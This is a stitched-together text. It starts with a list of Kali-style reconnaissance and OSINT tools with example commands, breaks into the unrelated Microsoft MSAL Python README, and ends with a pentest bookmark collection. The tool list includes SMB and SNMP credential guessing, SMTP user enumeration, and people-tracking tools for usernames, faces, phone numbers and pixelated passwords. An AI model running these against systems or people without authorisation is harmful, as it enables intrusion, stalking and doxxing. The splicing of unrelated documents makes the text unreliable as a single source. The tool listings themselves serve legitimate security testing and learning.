* [0trace](https://www.aldeid.com/wiki/0trace) [](https://www.youtube.com/watch?v=U5xDRcny7ZA)
```
./0trace.sh wlan0 69.63.181.12
```
* [intrace](https://tools.kali.org/information-gathering/intrace) [](https://github.com/robertswiecki/intrace) [](https://www.youtube.com/watch?v=4Cb8ZD28J2E)
```
intrace -h hostname.com -p port -s sizeofpacket
intrace -h www.example.com -p 80 -s 4
```
* irpas-ass
* irpas-cdp [](https://www.youtube.com/watch?v=j95zk3b2tpM)
* [netdiscover](https://kalilinuxtutorials.com/netdiscover-scan-live-hosts-network/) [](https://github.com/netdiscover-scanner/netdiscover) [](https://www.youtube.com/watch?v=58jhmvaxNFk)
```
netdiscover -i eth0 -r 192.168.43.0/24
```
* [smbmap](https://tools.kali.org/information-gathering/smbmap) [](https://github.com/ShawnDEvans/smbmap) [](https://www.youtube.com/watch?v=Nt0CE3Km8Nw)
```
smbmap -u victim -p s3cr3t -H 192.168.86.61
smbmap -H 192.168.1.102
```
* [snmp-check](https://tools.kali.org/information-gathering/snmp-check) [](https://gitlab.com/kalilinux/packages/snmpcheck) [](https://www.youtube.com/watch?v=OqfvpkZODEg)
```
snmp-check 192.168.1.2 -c public
```
* [swaks](https://installlion.com/kali/kali/main/s/swaks/install/index.html) [](https://github.com/jetmore/swaks)
```
swaks --to [email protected]
swaks --to [email protected] --server smtp.example.com
```
* [gobsuter](https://github.com/OJ/gobuster) [](https://github.com/OJ/gobuster)
```
gobuster dir -u https://buffered.io -w ~/wordlists/shortlist.txt
```
* [smtp-user-enum](https://tools.kali.org/information-gathering/smtp-user-enum) [](https://gitlab.com/kalilinux/packages/smtp-user-enum) [](https://www.youtube.com/watch?v=BU-mCoK8emk)
```
smtp-user-enum -M VRFY -U /root/Desktop/user.txt -t 192.168.1.107
smtp-user-enum -M VRFY -u root -t 192.168.1.25
```
* [braa](https://tools.kali.org/information-gathering/braa) [](https://gitlab.com/kalilinux/packages/braa) [](https://www.youtube.com/watch?v=rfMXA09tk9E)
```
braa 10.253.101.1-10.253.101.254:.1.3.6.1.2.1.1.6.0
braa [email protected]:.1.3.6.*
```
* [onesixtyone](https://null-byte.wonderhowto.com/how-to/hack-like-pro-crack-private-public-snmp-passwords-using-onesixtyone-0150332/) [](https://github.com/trailofbits/onesixtyone) [](https://www.youtube.com/watch?v=8EF0X5Zz_rU)
```
onesixtyone -c dict.txt 192.168.1.119
```
* [ssldump](https://www.systutorials.com/docs/linux/man/1-ssldump/) [](https://github.com/adulau/ssldump) [](https://www.youtube.com/watch?v=Ag920nLMsgo)
```
ssldump -i le0 port 443
```
* [sslh](https://www.ostechnix.com/sslh-share-port-https-ssh/) [](https://github.com/yrutschle/sslh)
```
ssh -p 443 [email protected]
```
* [sslscan](https://chousensha.github.io/blog/2017/06/24/sslscan-kali-linux-tools/) [](https://github.com/rbsec/sslscan) [](https://www.youtube.com/watch?v=PlSMtqHg-C4)
```
sslscan sail.co.in
sslscan https://www.cylance.com
```
* ike-scan [](https://github.com/royhills/ike-scan) [](https://www.youtube.com/watch?v=Txw4sCnh_n8)
```
ike-scan 192.168.49.2
```
* [legion](https://kalilinuxtutorials.com/legion-penetration-testing/) [](https://github.com/carlospolop/legion) [](https://www.youtube.com/watch?v=7MoWs5RkZpo)
* [recon-ng](https://tools.kali.org/information-gathering/recon-ng) [](https://github.com/lanmaster53/recon-ng) [](https://www.youtube.com/watch?v=68rRliy5DBw)
```
recon-ng
```
* [p0f](https://tools.kali.org/information-gathering/p0f) [](https://github.com/p0f/p0f) [](https://www.youtube.com/watch?v=0I1D5SsMbOU)
```
p0f -i eth0 -p -o /tmp/p0f.log
```
* [acccheck](https://www.kalitut.com/2016/01/acccheck-kali-tools.html) [](https://github.com/qashqao/acccheck) [](https://www.youtube.com/watch?v=RkSXj5LoRkc)
```
acccheck -t IP ADDRESS
acccheck -t 10.0.2.15 -U mynames.txt -P mypasswords.txt
```
* [THC-IPV6 Package](https://tools.kali.org/information-gathering/thc-ipv6) [](https://gitlab.com/kalilinux/packages/thc-ipv6)
```
address6
alive6
covert_send6
covert_send6d
denial6
detect-new-ip6
detect_sniffer6
dnsdict6
dnsrevenum6
dos-new-ip6
dump_router6
exploit6
.
.
.
.
```
* [casefile](https://tools.kali.org/information-gathering/casefile) [](https://gitlab.com/kalilinux/packages/casefile) [](https://www.youtube.com/watch?v=sm4eiEUSzlg)
```
casefile
```
* [creepy](https://www.geocreepy.com/) [](https://www.youtube.com/watch?v=fkpMa_fqRdY)
* [jigsaw](http://knoxd3.blogspot.com/2013/07/how-to-use-jigsaw-in-kali-linux.html) [](https://www.youtube.com/watch?v=yOAHLy_XpUs)
```
jigsaw –s company name
```
* [metagoofil](https://tools.kali.org/information-gathering/metagoofil) [](https://gitlab.com/kalilinux/packages/metagoofil) [](https://www.youtube.com/watch?v=Je0j__spZMo)
```
metagoofil -d kali.org -t pdf -l 100 -n 25 -o kalipdf -f kalipdf.html
```
* [sslcaudit](https://tools.kali.org/information-gathering/sslcaudit) [](https://gitlab.com/kalilinux/packages/sslcaudit) [](Yhttps://www.youtube.com/watch?v=Kd-KYIpfOug)
```
sslcaudit -l 0.0.0.0:443 -v 1
```
* [stunnel4](http://man.he.net/man8/stunnel4)
```
stunnel4
```
* [tcpflow](https://kalilinuxtutorials.com/tcpflow/) [](https://github.com/simsong/tcpflow) [](https://www.youtube.com/watch?v=BTUB0C2zHGs)
```
tcpflow -ce host 192.168.0.100
```
* [ace-voip](https://tools.kali.org/information-gathering/ace-voip) [](https://gitlab.com/kalilinux/packages/ace-voip) [](https://www.youtube.com/watch?v=fL32v7P_P9U)
```
ace -i eth0 -m 00:1E:F7:28:9C:8e
ace -r eth0.96
```
* [Amap](https://tools.kali.org/information-gathering/amap) [](https://github.com/vanhauser-thc/THC-Archive/tree/master/Tools) [](https://www.youtube.com/watch?v=DsoplF1bBm4)
```
amap -bqv 192.168.1.15 80
```
* [APT2](https://tools.kali.org/information-gathering/apt2) [](https://gitlab.com/kalilinux/packages/apt2) [](https://gitlab.com/kalilinux/packages/apt2)
```
apt2 -h
```
* [bing-ip2hosts](https://tools.kali.org/information-gathering/bing-ip2hosts) [](https://gitlab.com/kalilinux/packages/bing-ip2hosts) [](https://www.youtube.com/watch?v=Y9NCos8H8ac)
```
bing-ip2hosts -p microsoft.com
bing-ip2hosts -p 173.194.33.80
```
* [automater](https://tools.kali.org/information-gathering/automater) [](https://gitlab.com/kalilinux/packages/automater) [](https://www.youtube.com/watch?v=dRAzBuijPhM)
```
automater 185.62.190.110
automater corefitness.info
automater b9318a66fa7f50f2f3ecaca02a96268ad2c63db7554ea3acbde43bf517328d06
```
* [cisco-torch](https://tools.kali.org/information-gathering/cisco-torch) [](https://github.com/foreni-packages/cisco-torch) [](https://www.youtube.com/watch?v=4OztzE5iJ2U)
```
cisco-torch -A 10.1.1.0/24
```
* [enumIAX](https://tools.kali.org/information-gathering/enumiax) [](https://gitlab.com/kalilinux/packages/enumiax) [](https://www.youtube.com/watch?v=fNEKla8lxak)
```
enumiax -d /usr/share/wordlists/metasploit/unix_users.txt 192.168.1.1
```
* [EyeWitness](https://tools.kali.org/information-gathering/eyewitness) [](https://github.com/FortyNorthSecurity/EyeWitness) [](https://www.youtube.com/watch?v=2zmBhHDKjpI)
```
eyewitness -f /root/urls.txt -d screens --headless
```
* [goofile](https://tools.kali.org/information-gathering/goofile) [](https://gitlab.com/kalilinux/packages/goofile) [](https://www.youtube.com/watch?v=UwUAEVxdJeE)
```
goofile -d kali.org -f pdf
```
* [ident-user-enum](https://tools.kali.org/information-gathering/ident-user-enum) [](https://gitlab.com/kalilinux/packages/ident-user-enum)
```
ident-user-enum 192.168.1.13 22 139 445
```
* [inSpy](https://tools.kali.org/information-gathering/inspy) [](https://github.com/leapsecurity/InSpy) [](https://www.youtube.com/watch?v=utC1NZJnZ9s)
```
inspy -h
```
* [iSMTP](https://tools.kali.org/information-gathering/ismtp) [](https://gitlab.com/kalilinux/packages/ismtp)
```
ismtp
```
* [Nikto](https://tools.kali.org/information-gathering/nikto) [](https://gitlab.com/kalilinux/packages/nikto)
[](https://www.youtube.com/watch?v=K78YOmbuT48)
```
nikto -Help
```
* [ntop](https://tools.kali.org/information-gathering/ntop) [](https://github.com/ntop/ntopng)
```
ntop -B "src host 192.168.1.1"
```
* [Parsero](https://tools.kali.org/information-gathering/parsero) [](https://github.com/behindthefirewalls/Parsero) [](https://www.youtube.com/watch?v=WX3iq77QxtQ)
```
parsero -u www.bing.com -sb
```
* [OSRFramework](https://tools.kali.org/information-gathering/osrframework) [](https://github.com/i3visio/osrframework) [](https://www.youtube.com/watch?v=NIiUuFqxjJ8)
```
usufy.py -h
mailfy.py -h
searchfy.py -h
domainfy.py -h
phonefy.py -h
entify.py -h
osrfconsole.py
```
* [sublist3r](https://tools.kali.org/information-gathering/sublist3r) [](https://github.com/aboul3la/Sublist3r) [](https://www.youtube.com/watch?v=pi1VmNTdzq0)
```
sublist3r -d kali.org -t 3 -e bing
sublist3r -d google.com -b -t 100
```
* [ffuf]() [](https://github.com/ffuf/ffuf) [](https://www.youtube.com/watch?v=aN3Nayvd7FU)
```
ffuf -w /path/to/wordlist -u https://target/FUZZ
````
* [Amass]() [](https://github.com/OWASP/Amass) [](https://www.youtube.com/watch?v=C-GabM2db9A)
```
amass enum -d example.com
````
* [AQUATONE]() [](https://github.com/michenriksen/aquatone) [](https://www.youtube.com/watch?v=mnQ-TaOWctw)
```
cat targets.txt | aquatone
````
* [netscanner](https://github.com/R4yGM/netscanner) [](https://github.com/R4yGM/netscanner)
```
netscanner sp tcp 127.0.0.1 80
```
* [webshag](https://github.com/wereallfeds/webshag)
```
sudo apt-get install python-wxgtk2.8 git nmap
git clone https://github.com/wereallfeds/webshag
cd webshag/
./setup.linux.py
./webshag_gui.py
```
* [PimEyes](https://pimeyes.com/en) [](https://youtu.be/PKVtv_LVNhA)
* [TinEye](https://tineye.com/) [](https://youtu.be/I3Sbihz4vpI)
* [OSINT Framework](https://osintframework.com/) [](https://github.com/lockfale/osint-framework) [](https://youtu.be/BXF1mE8jD0M)
* [Depix](https://www.linkedin.com/pulse/recovering-passwords-from-pixelized-screenshots-sipke-mellema/) [](https://github.com/beurtschipper/Depix) [](https://youtu.be/_1Az0KwBbXc)
```
git clone https://github.com/beurtschipper/Depix.git
cd Depix
python -m pip install -r requirements.txt
python depix.py -p /path/to/your/input/image.png -s images/searchimages/debruinseq_notepad_Windows10_closeAndSpaced.png -o /path/to/your/output.png
```
* [Osintgram](https://github.com/Datalux/Osintgram) [](https://github.com/Datalux/Osintgram) [](https://youtu.be/NWyqSbnsvGU)
```
python3 main.py <target username> --command <command>
```
* [Sherlock](https://null-byte.wonderhowto.com/how-to/hunt-down-social-media-accounts-by-usernames-with-sherlock-0196138/) [](https://github.com/sherlock-project/sherlock) [](https://youtu.be/HrqYGTK8-bo)
```
# clone the repo
$ git clone https://github.com/sherlock-project/sherlock.git
# change the working directory to sherlock
$ cd sherlock
# install the requirements
$ python3 -m pip install -r requirements.txt
# search user name
python3 sherlock [user_name]
```
* [PhoneInfoga](https://null-byte.wonderhowto.com/how-to/find-identifying-information-from-phone-number-using-osint-tools-0195472/) [](https://github.com/sundowndev/phoneinfoga) [](https://youtu.be/WW6myutKBYk)
* [GHunt](https://kalilinuxtutorials.com/ghunt/) [](https://github.com/mxrch/GHunt) |
# Microsoft Authentication Library (MSAL) for Python
| `dev` branch | Reference Docs | # of Downloads per different platforms | # of Downloads per recent MSAL versions |
|---------------|---------------|----------------------------------------|-----------------------------------------|
[](https://github.com/AzureAD/microsoft-authentication-library-for-python/actions) | [](https://msal-python.readthedocs.io/en/latest/?badge=latest) | [](https://pypistats.org/packages/msal) | [](https://pepy.tech/project/msal)
The Microsoft Authentication Library for Python enables applications to integrate with the [Microsoft identity platform](https://aka.ms/aaddevv2). It allows you to sign in users or apps with Microsoft identities ([Azure AD](https://azure.microsoft.com/services/active-directory/), [Microsoft Accounts](https://account.microsoft.com) and [Azure AD B2C](https://azure.microsoft.com/services/active-directory-b2c/) accounts) and obtain tokens to call Microsoft APIs such as [Microsoft Graph](https://graph.microsoft.io/) or your own APIs registered with the Microsoft identity platform. It is built using industry standard OAuth2 and OpenID Connect protocols
Not sure whether this is the SDK you are looking for your app? There are other Microsoft Identity SDKs
[here](https://github.com/AzureAD/microsoft-authentication-library-for-python/wiki/Microsoft-Authentication-Client-Libraries).
Quick links:
| [Getting Started](https://learn.microsoft.com/azure/active-directory/develop/web-app-quickstart?pivots=devlang-python)| [Docs](https://github.com/AzureAD/microsoft-authentication-library-for-python/wiki) | [Samples](https://aka.ms/aaddevsamplesv2) | [Support](README.md#community-help-and-support) | [Feedback](https://forms.office.com/r/TMjZkDbzjY) |
| --- | --- | --- | --- | --- |
## Scenarios supported
Click on the following thumbnail to visit a large map with clickable links to proper samples.
[](https://msal-python.readthedocs.io/en/latest/)
## Installation
You can find MSAL Python on [Pypi](https://pypi.org/project/msal/).
1. If you haven't already, [install and/or upgrade the pip](https://pip.pypa.io/en/stable/installing/)
of your Python environment to a recent version. We tested with pip 18.1.
2. As usual, just run `pip install msal`.
## Versions
This library follows [Semantic Versioning](http://semver.org/).
You can find the changes for each version under
[Releases](https://github.com/AzureAD/microsoft-authentication-library-for-python/releases).
## Usage
Before using MSAL Python (or any MSAL SDKs, for that matter), you will have to
[register your application with the Microsoft identity platform](https://docs.microsoft.com/azure/active-directory/develop/quickstart-v2-register-an-app).
Acquiring tokens with MSAL Python follows this 3-step pattern.
(Note: That is the high level conceptual pattern.
There will be some variations for different flows. They are demonstrated in
[runnable samples hosted right in this repo](https://github.com/AzureAD/microsoft-authentication-library-for-python/tree/dev/sample).
)
1. MSAL proposes a clean separation between
[public client applications, and confidential client applications](https://tools.ietf.org/html/rfc6749#section-2.1).
So you will first create either a `PublicClientApplication` or a `ConfidentialClientApplication` instance,
and ideally reuse it during the lifecycle of your app. The following example shows a `PublicClientApplication`:
```python
from msal import PublicClientApplication
app = PublicClientApplication(
"your_client_id",
authority="https://login.microsoftonline.com/Enter_the_Tenant_Name_Here")
```
Later, each time you would want an access token, you start by:
```python
result = None # It is just an initial value. Please follow instructions below.
```
2. The API model in MSAL provides you explicit control on how to utilize token cache.
This cache part is technically optional, but we highly recommend you to harness the power of MSAL cache.
It will automatically handle the token refresh for you.
```python
# We now check the cache to see
# whether we already have some accounts that the end user already used to sign in before.
accounts = app.get_accounts()
if accounts:
# If so, you could then somehow display these accounts and let end user choose
print("Pick the account you want to use to proceed:")
for a in accounts:
print(a["username"])
# Assuming the end user chose this one
chosen = accounts[0]
# Now let's try to find a token in cache for this account
result = app.acquire_token_silent(["your_scope"], account=chosen)
```
3. Either there is no suitable token in the cache, or you chose to skip the previous step,
now it is time to actually send a request to AAD to obtain a token.
There are different methods based on your client type and scenario. Here we demonstrate a placeholder flow.
```python
if not result:
# So no suitable token exists in cache. Let's get a new one from AAD.
result = app.acquire_token_by_one_of_the_actual_method(..., scopes=["User.Read"])
if "access_token" in result:
print(result["access_token"]) # Yay!
else:
print(result.get("error"))
print(result.get("error_description"))
print(result.get("correlation_id")) # You may need this when reporting a bug
```
Refer the [Wiki](https://github.com/AzureAD/microsoft-authentication-library-for-python/wiki) pages for more details on the MSAL Python functionality and usage.
## Migrating from ADAL
If your application is using ADAL Python, we recommend you to update to use MSAL Python. No new feature work will be done in ADAL Python.
See the [ADAL to MSAL migration](https://github.com/AzureAD/microsoft-authentication-library-for-python/wiki/Migrate-to-MSAL-Python) guide.
## Roadmap
You can follow the latest updates and plans for MSAL Python in the [Roadmap](https://github.com/AzureAD/microsoft-authentication-library-for-python/wiki/Roadmap) published on our Wiki.
## Samples and Documentation
MSAL Python supports multiple [application types and authentication scenarios](https://docs.microsoft.com/azure/active-directory/develop/authentication-flows-app-scenarios).
The generic documents on
[Auth Scenarios](https://docs.microsoft.com/azure/active-directory/develop/authentication-scenarios)
and
[Auth protocols](https://docs.microsoft.com/azure/active-directory/develop/active-directory-v2-protocols)
are recommended reading.
We provide a [full suite of sample applications](https://aka.ms/aaddevsamplesv2) and [documentation](https://aka.ms/aaddevv2) to help you get started with learning the Microsoft identity platform.
## Community Help and Support
We leverage Stack Overflow to work with the community on supporting Azure Active Directory and its SDKs, including this one!
We highly recommend you ask your questions on Stack Overflow (we're all on there!)
Also browser existing issues to see if someone has had your question before.
We recommend you use the "msal" tag so we can see it!
Here is the latest Q&A on Stack Overflow for MSAL:
[http://stackoverflow.com/questions/tagged/msal](http://stackoverflow.com/questions/tagged/msal)
## Submit Feedback
We'd like your thoughts on this library. Please complete [this short survey.](https://forms.office.com/r/TMjZkDbzjY)
## Security Reporting
If you find a security issue with our libraries or services please report it to [[email protected]](mailto:[email protected]) with as much detail as possible. Your submission may be eligible for a bounty through the [Microsoft Bounty](http://aka.ms/bugbounty) program. Please do not post security issues to GitHub Issues or any other public site. We will contact you shortly upon receiving the information. We encourage you to get notifications of when security incidents occur by visiting [this page](https://technet.microsoft.com/security/dd252948) and subscribing to Security Advisory Alerts.
## Contributing
All code is licensed under the MIT license and we triage actively on GitHub. We enthusiastically welcome contributions and feedback. Please read the [contributing guide](./contributing.md) before starting.
## We Value and Adhere to the Microsoft Open Source Code of Conduct
This project has adopted the [Microsoft Open Source Code of Conduct](https://opensource.microsoft.com/codeofconduct/). For more information see the [Code of Conduct FAQ](https://opensource.microsoft.com/codeofconduct/faq/) or contact [[email protected]](mailto:[email protected]) with any additional questions or comments.
|
Hacking/Penetrating tester bookmark collection
==============================================
This is a collection of Pentest/Hacker sites.
It is originally created by Jason Haddix.
## Blogs worth it
What the title says. There are a LOT of pentesting blogs, these are the ones i monitor constantly and value in the actual day to day testing work.
* [http://carnal0wnage.blogspot.com/](http://carnal0wnage.blogspot.com/)
* [http://www.mcgrewsecurity.com/](http://www.mcgrewsecurity.com/)
* [http://www.gnucitizen.org/blog/](http://www.gnucitizen.org/blog/)
* [http://www.darknet.org.uk/](http://www.darknet.org.uk/)
* [http://spylogic.net/](http://spylogic.net/)
* [http://taosecurity.blogspot.com/](http://taosecurity.blogspot.com/)
* [http://www.room362.com/](http://www.room362.com/)
* [http://blog.sipvicious.org/](http://blog.sipvicious.org/)
* [http://blog.portswigger.net/](http://blog.portswigger.net/)
* [http://pentestmonkey.net/blog/](http://pentestmonkey.net/blog/)
* [http://jeremiahgrossman.blogspot.com/](http://jeremiahgrossman.blogspot.com/)
* [http://i8jesus.com/](http://i8jesus.com/)
* [http://blog.c22.cc/](http://blog.c22.cc/)
* [http://www.skullsecurity.org/blog/](http://www.skullsecurity.org/blog/)
* [http://blog.metasploit.com/](http://blog.metasploit.com/)
* [http://www.darkoperator.com/](http://www.darkoperator.com/)
* [http://blog.skeptikal.org/](http://blog.skeptikal.org/)
* [http://preachsecurity.blogspot.com/](http://preachsecurity.blogspot.com/)
* [http://www.tssci-security.com/](http://www.tssci-security.com/)
* [http://www.gdssecurity.com/l/b/](http://www.gdssecurity.com/l/b/)
* [http://websec.wordpress.com/](http://websec.wordpress.com/)
* [http://bernardodamele.blogspot.com/](http://bernardodamele.blogspot.com/)
* [http://laramies.blogspot.com/](http://laramies.blogspot.com/)
* [http://www.spylogic.net/](http://www.spylogic.net/)
* [http://blog.andlabs.org/](http://blog.andlabs.org/)
* [http://xs-sniper.com/blog/](http://xs-sniper.com/blog/)
* [http://www.commonexploits.com/](http://www.commonexploits.com/)
* [http://www.sensepost.com/blog/](http://www.sensepost.com/blog/)
* [http://wepma.blogspot.com/](http://wepma.blogspot.com/)
* [http://exploit.co.il/](http://exploit.co.il/)
* [http://securityreliks.wordpress.com/](http://securityreliks.wordpress.com/)
* [http://www.madirish.net/index.html](http://www.madirish.net/index.html)
* [http://sirdarckcat.blogspot.com/](http://sirdarckcat.blogspot.com/)
* [http://reusablesec.blogspot.com/](http://reusablesec.blogspot.com/)
* [http://myne-us.blogspot.com/](http://myne-us.blogspot.com/)
* [http://www.notsosecure.com/](http://www.notsosecure.com/)
* [http://blog.spiderlabs.com/](http://blog.spiderlabs.com/)
* [http://www.corelan.be/](http://www.corelan.be/)
* [http://www.digininja.org/](http://www.digininja.org/)
* [http://www.pauldotcom.com/](http://www.pauldotcom.com/)
* [http://www.attackvector.org/](http://www.attackvector.org/)
* [http://deviating.net/](http://deviating.net/)
* [http://www.alphaonelabs.com/](http://www.alphaonelabs.com/)
* [http://www.smashingpasswords.com/](http://www.smashingpasswords.com/)
* [http://wirewatcher.wordpress.com/](http://wirewatcher.wordpress.com/)
* [http://gynvael.coldwind.pl/](http://gynvael.coldwind.pl/)
* [http://www.nullthreat.net/](http://www.nullthreat.net/)
* [http://www.question-defense.com/](http://www.question-defense.com/)
* [http://archangelamael.blogspot.com/](http://archangelamael.blogspot.com/)
* [http://memset.wordpress.com/](http://memset.wordpress.com/)
* [http://sickness.tor.hu/](http://sickness.tor.hu/)
* [http://punter-infosec.com/](http://punter-infosec.com/)
* [http://www.securityninja.co.uk/](http://www.securityninja.co.uk/)
* [http://securityandrisk.blogspot.com/](http://securityandrisk.blogspot.com/)
* [http://esploit.blogspot.com/](http://esploit.blogspot.com/)
* [http://www.pentestit.com/](http://www.pentestit.com/)
## Forums
Created for forums that will help in both tool usage, syntax, attack techniques, and collection of scripts and tools. Needs some help. I don't really frequent too many underground forums but i actually find nice one-off scripts and info i can roll into my own code in these places. Would like to add more.
* [http://sla.ckers.org/forum/index.php](http://sla.ckers.org/forum/index.php)
* [http://www.ethicalhacker.net/](http://www.ethicalhacker.net/)
* [http://www.backtrack-linux.org/forums/](http://www.backtrack-linux.org/forums/)
* [http://www.elitehackers.info/forums/](http://www.elitehackers.info/forums/)
* [http://www.hackthissite.org/forums/index.php](http://www.hackthissite.org/forums/index.php)
* [http://securityoverride.com/forum/index.php](http://securityoverride.com/forum/index.php)
* [http://www.iexploit.org/](http://www.iexploit.org/)
* [http://bright-shadows.net/](http://bright-shadows.net/)
* [http://www.governmentsecurity.org/forum/](http://www.governmentsecurity.org/forum/)
* [http://forum.intern0t.net/](http://forum.intern0t.net/)
## Magazines
* [http://www.net-security.org/insecuremag.php](http://www.net-security.org/insecuremag.php)
* [http://hakin9.org/](http://hakin9.org/)
## Video
* [http://www.hackernews.com/](http://www.hackernews.com/)
* [http://www.securitytube.net/](http://www.securitytube.net/)
* [http://www.irongeek.com/i.php?page=videos/aide-winter-2011](http://www.irongeek.com/i.php?page=videos/aide-winter-2011)
* [http://avondale.good.net/dl/bd/](http://avondale.good.net/dl/bd/)
* [http://achtbaan.nikhef.nl/27c3-stream/releases/mkv/](http://achtbaan.nikhef.nl/27c3-stream/releases/mkv/)
* [http://www.youtube.com/user/ChRiStIaAn008](http://www.youtube.com/user/ChRiStIaAn008)
* [http://www.youtube.com/user/HackingCons](http://www.youtube.com/user/HackingCons)
## Methodologies
* [http://www.vulnerabilityassessment.co.uk/Penetration%20Test.html](http://www.vulnerabilityassessment.co.uk/Penetration%20Test.html)
* [http://www.pentest-standard.org/index.php/Main_Page](http://www.pentest-standard.org/index.php/Main_Page)
* [http://projects.webappsec.org/w/page/13246978/Threat-Classification](http://projects.webappsec.org/w/page/13246978/Threat-Classification)
* [http://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project](http://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project)
* [http://www.social-engineer.org/](http://www.social-engineer.org/)
## Presentations
* [http://www.spylogic.net/2009/10/enterprise-open-source-intelligence-gathering-part-1-social-networks/](http://www.spylogic.net/2009/10/enterprise-open-source-intelligence-gathering-part-1-social-networks/)
* [http://www.spylogic.net/2009/10/enterprise-open-source-intelligence-gathering-%E2%80%93-part-2-blogs-message-boards-and-metadata/](http://www.spylogic.net/2009/10/enterprise-open-source-intelligence-gathering-%E2%80%93-part-2-blogs-message-boards-and-metadata/)
* [http://www.spylogic.net/2009/10/enterprise-open-source-intelligence-gathering-part-3-monitoring/](http://www.spylogic.net/2009/10/enterprise-open-source-intelligence-gathering-part-3-monitoring/)
* [http://www.slideshare.net/Laramies/tactical-information-gathering](http://www.slideshare.net/Laramies/tactical-information-gathering)
* [http://www.sans.org/reading_room/whitepapers/privacy/document_metadata_the_silent_killer__32974](http://www.sans.org/reading_room/whitepapers/privacy/document_metadata_the_silent_killer__32974)
* [http://infond.blogspot.com/2010/05/toturial-footprinting.html](http://infond.blogspot.com/2010/05/toturial-footprinting.html)
## People and Organizational
* [http://www.spokeo.com/](http://www.spokeo.com/)
* [http://www.123people.com/](http://www.123people.com/)
* [http://www.xing.com/](http://www.xing.com/)
* [http://www.zoominfo.com/search](http://www.zoominfo.com/search)
* [http://pipl.com/](http://pipl.com/)
* [http://www.zabasearch.com/](http://www.zabasearch.com/)
* [http://www.searchbug.com/default.aspx](http://www.searchbug.com/default.aspx)
* [http://theultimates.com/](http://theultimates.com/)
* [http://skipease.com/](http://skipease.com/)
* [http://addictomatic.com/](http://addictomatic.com/)
* [http://socialmention.com/](http://socialmention.com/)
* [http://entitycube.research.microsoft.com/](http://entitycube.research.microsoft.com/)
* [http://www.yasni.com/](http://www.yasni.com/)
* [http://tweepz.com/](http://tweepz.com/)
* [http://tweepsearch.com/](http://tweepsearch.com/)
* [http://www.glassdoor.com/index.htm](http://www.glassdoor.com/index.htm)
* [http://www.jigsaw.com/](http://www.jigsaw.com/)
* [http://searchwww.sec.gov/EDGARFSClient/jsp/EDGAR_MainAccess.jsp](http://searchwww.sec.gov/EDGARFSClient/jsp/EDGAR_MainAccess.jsp)
* [http://www.tineye.com/](http://www.tineye.com/)
* [http://www.peekyou.com/](http://www.peekyou.com/)
* [http://picfog.com/](http://picfog.com/)
* [http://twapperkeeper.com/index.php](http://twapperkeeper.com/index.php)
## Infrastructure
* [http://uptime.netcraft.com/](http://uptime.netcraft.com/)
* [http://www.serversniff.net/](http://www.serversniff.net/)
* [http://www.domaintools.com/](http://www.domaintools.com/)
* [http://centralops.net/co/](http://centralops.net/co/)
* [http://hackerfantastic.com/](http://hackerfantastic.com/)
* [http://whois.webhosting.info/](http://whois.webhosting.info/)
* [https://www.ssllabs.com/ssldb/analyze.html](https://www.ssllabs.com/ssldb/analyze.html)
* [http://www.clez.net/](http://www.clez.net/)
* [http://www.my-ip-neighbors.com/](http://www.my-ip-neighbors.com/)
* [http://www.shodanhq.com/](http://www.shodanhq.com/)
* [http://www.exploit-db.com/google-dorks/](http://www.exploit-db.com/google-dorks/)
* [http://www.hackersforcharity.org/ghdb/](http://www.hackersforcharity.org/ghdb/)
## Exploits and Advisories
* [http://www.exploit-db.com/](http://www.exploit-db.com/)
* [http://www.cvedetails.com/](http://www.cvedetails.com/)
* [http://www.packetstormsecurity.org/](http://www.packetstormsecurity.org/)
* [http://www.securityforest.com/wiki/index.php/Main_Page](http://www.securityforest.com/wiki/index.php/Main_Page)
* [http://www.securityfocus.com/bid](http://www.securityfocus.com/bid)
* [http://nvd.nist.gov/](http://nvd.nist.gov/)
* [http://osvdb.org/](http://osvdb.org/)
* [http://www.nullbyte.org.il/Index.html](http://www.nullbyte.org.il/Index.html)
* [http://secdocs.lonerunners.net/](http://secdocs.lonerunners.net/)
* [http://www.phenoelit-us.org/whatSAP/index.html](http://www.phenoelit-us.org/whatSAP/index.html)
* [http://secunia.com/](http://secunia.com/)
* [http://cve.mitre.org/](http://cve.mitre.org/)
## Cheatsheets and Syntax
* [http://cirt.net/ports_dl.php?export=services](http://cirt.net/ports_dl.php?export=services)
* [http://www.cheat-sheets.org/](http://www.cheat-sheets.org/)
* [http://blog.securitymonks.com/2009/08/15/whats-in-your-folder-security-cheat-sheets/](http://blog.securitymonks.com/2009/08/15/whats-in-your-folder-security-cheat-sheets/)
## Agile Hacking
* [http://www.gnucitizen.org/blog/agile-hacking-a-homegrown-telnet-based-portscanner/](http://www.gnucitizen.org/blog/agile-hacking-a-homegrown-telnet-based-portscanner/)
* [http://blog.commandlinekungfu.com/](http://blog.commandlinekungfu.com/)
* [http://www.securityaegis.com/simple-yet-effective-directory-bruteforcing/](http://www.securityaegis.com/simple-yet-effective-directory-bruteforcing/)
* [http://isc.sans.edu/diary.html?storyid=2376](http://isc.sans.edu/diary.html?storyid=2376)
* [http://isc.sans.edu/diary.html?storyid=1229](http://isc.sans.edu/diary.html?storyid=1229)
* [http://ss64.com/nt/](http://ss64.com/nt/)
* [http://pauldotcom.com/2010/02/running-a-command-on-every-mac.html](http://pauldotcom.com/2010/02/running-a-command-on-every-mac.html)
* [http://synjunkie.blogspot.com/2008/03/command-line-ninjitsu.html](http://synjunkie.blogspot.com/2008/03/command-line-ninjitsu.html)
* [http://www.zonbi.org/2010/06/09/wmic-the-other-other-white-meat/](http://www.zonbi.org/2010/06/09/wmic-the-other-other-white-meat/)
* [http://rstcenter.com/forum/22324-hacking-without-tools-windows.rst](http://rstcenter.com/forum/22324-hacking-without-tools-windows.rst)
* [http://www.coresecurity.com/files/attachments/Core_Define_and_Win_Cmd_Line.pdf](http://www.coresecurity.com/files/attachments/Core_Define_and_Win_Cmd_Line.pdf)
* [http://www.scribd.com/Penetration-Testing-Ninjitsu2-Infrastructure-and-Netcat-without-Netcat/d/3064507](http://www.scribd.com/Penetration-Testing-Ninjitsu2-Infrastructure-and-Netcat-without-Netcat/d/3064507)
* [http://www.pentesterscripting.com/](http://www.pentesterscripting.com/)
* [http://www.sans.org/reading_room/whitepapers/hackers/windows-script-host-hack-windows_33583](http://www.sans.org/reading_room/whitepapers/hackers/windows-script-host-hack-windows_33583)
